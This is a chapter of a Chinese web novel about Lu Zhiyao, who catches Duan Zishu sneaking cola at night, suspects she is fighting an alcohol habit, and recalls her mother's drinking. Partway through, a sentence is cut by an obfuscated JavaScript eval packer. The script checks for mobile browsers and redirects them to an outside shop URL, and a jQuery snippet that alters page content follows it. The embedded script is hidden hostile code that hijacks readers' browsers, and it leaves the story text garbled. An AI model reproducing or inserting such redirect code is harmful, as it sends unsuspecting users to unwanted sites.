她的睡眠质量一向很好,常年85分以上。能睡得着已经是对她来说最大的幸事了,经历过睡不着的时日,路知遥对睡眠抱有至高的尊敬。
但今晚,评分怕是要跌落良好。
她的睡眠很浅,不断做梦,常常从浅睡中醒来,翻个身再继续睡。梦里都是些光怪陆离的画面,不完整,大多也没有意义。
路知遥其实想梦一些当年的画面,不管怎么说,她都怀念那段过去。
可即便梦到与高中或段子书有关的内容,也都是虚构的。
她梦到段子书对她笑,对她说很喜欢你。路知遥立马明白过来这是梦,放在现实,段子书怕是一辈子也露不出这般精彩的表情。
“你觉得我画得怎样?”
“其实我不太懂画。”
现实中,段子书也这样问过,路知遥也是这么回答的。不过高中的时候,她后面还有半句话。
“其实我不太懂画,但我看得出这里面有你饱满的感情。学姐,学习画画想必十分不容易吧。”
可梦境里她没有这样说,说完前半句后,她问段子书:“现在还喜欢我吗?”
“你以前不是这个样子的。”梦中段子书说。
“那么,还喜欢我吗?”
段子书摇摇头。
路知遥从梦中醒来,不是惊醒,而是外面窸窸窣窣的东西吵醒了她。
这声音肯定不是第一天在夜晚响起,不过之前路知遥虽然睡在客厅里,但因为睡得很熟,直到早上才发现有什么不对。一开始,她还以为那些变化是自己记性不好记错了,结果连续几天都这样,路知遥确信冰箱里一定少了东西。
可是,又不太像老鼠干的。
路知遥觉得事情怪异,还检查过门锁有没有被破坏的痕迹。事实证明没人闯得进来,她也不至于睡得熟到有小偷进来都发现不了。
那就不是什么大事,所以她一直放任自由。
今天她睡得浅,哪怕在卧室都听到了声音。被吵醒后也不困,看了眼表,醒醒睡睡那么久,居然还不到一点。
那么,就去逮一逮那只“大老鼠”好了。
段子书蹑手蹑脚摸到厨房,轻车熟路地打开冰箱拿出一罐可乐,没等关上冰箱门就迫不及待单手拉开拉环。可乐罐中冒出气泡的声响。
她立马喝了一口,顺手关上冰箱门。一回头就看到路知遥站在身后。
“我就说哪只老鼠会偷可乐。”路知遥抱着双臂说。
段子书看起来有些局促。
“换了沙发睡不着,起来找点东西喝。”段子书小声说,显然没什么底气。
“别哄我,我可不是第一次发现少东西。”
路知遥倒不至于为了几罐可乐多生气,只是有些不解,可乐哪有这么好喝值得她半夜偷偷起来拿?
一开始,路知遥还以为段子书在悄悄倒卖可乐。可家里才有几罐可乐,大小姐破产了也看不上这三瓜俩枣。
现在眼看着她喝下去,更觉得奇怪了。
段子书不知道该怎么解释,在路知遥的注视下又端起可乐喝了一口。
这不是挑衅,更像是下意识举动,段子书的眼神闪躲着。
路知遥眯起眼睛,夜色中她看得不太真切。
没有去打开厨房的灯,路知遥直接拿起手机,借着手机的手电筒照向段子书。光线不是太亮,依然让她眨着眼睛不能直视。
就像是突然被抓住的犯人那样狼狈。段子书不知道路知遥为什么不去把吊灯打开,而是拿着手机照她。脾性上来后,段子书反而很不高兴。
毕竟偷喝可乐不是重罪,段子书预支过伙食费。
“你是不是有瘾?”
段子书顿时僵住了。
有瘾,当然不是指喝可乐上瘾,两个人都清楚这句话背后的意思。
酒精上瘾。
段子书的手指在抖,那些不是享受品酒而是把酒精当作是逃避方式的家伙们,常常留下这样的后遗症。
路知遥的母亲便是如此。
她小时候,甚至去搜过如何戒酒。
温和一点的方法,就有用其它饮料代替、转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176414|150599||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
移注意力。只不过对那些酒鬼来说,猛灌可乐只是喝不到酒的慰藉,用来欺骗身体而已。无论戒什么东西,不扒层皮都不容易
小时候她把找来的办法告诉母亲,希望母亲不要再这样了。可得到的回复只有一句。
“你懂什么?”
母亲用手捧住路知遥的脸,直视她的眼睛,可目光却穿过她陷入久远的回忆。
“他们说,你应该喝下这杯酒。”母亲漂亮的眼睛已经有些浑浊,“可我觉得学术不该是这样的,科研不该是这样的。那不该是更神圣、更严谨,更不该被外界污染的东西吗?”
“遥遥,你说知识不该是最神圣不可侵犯的吗?”
母亲很恨地说:“一帮臭鱼烂虾,只会搬弄是非,抱团取暖的无用之辈。”
路知遥确实不懂,她不懂母亲在说什么。
然而母亲自顾自说下去,不久姥姥过来,轻声安慰。
“但是,这真是好东西。”母亲晃动着杯中并不清澈的酒液。
在她们那个地方,女人天天喝酒是很少见的,于是引来许多多嘴的人,不去骂酒后失态的男的,却来议论母亲。
母亲从来不在乎,她喝酒,也不耍酒疯,醉了就去睡觉。
但路知遥还是觉得厌恶。
家里已经十分辛苦,还得多出一笔钱买酒。何况母亲喝醉了就睡,老师布置的家长签字的任务,她从来没管过。
姥姥是个勤劳能干的老人,几乎撑起整个家。可路知遥不觉得她是自己姥姥,仅仅是母亲的母亲。而母亲也不像是自己妈妈,仅仅是姥姥的女儿。
“我已经戒了。”段子书说。
“真的。”她补充到,“之前提起买酒,是我知道你不会同意,只是过过嘴瘾而已。我已经很长时间没碰过酒精了,在回国之前就戒了。”
本以为路知遥会很生气,因为她察觉后表现出来的样子就是很生气。
谁知她却关上手电筒,把明亮的吊灯打开。
“我知道,”路知遥露出淡淡的微笑,“戒酒是很不容易的。”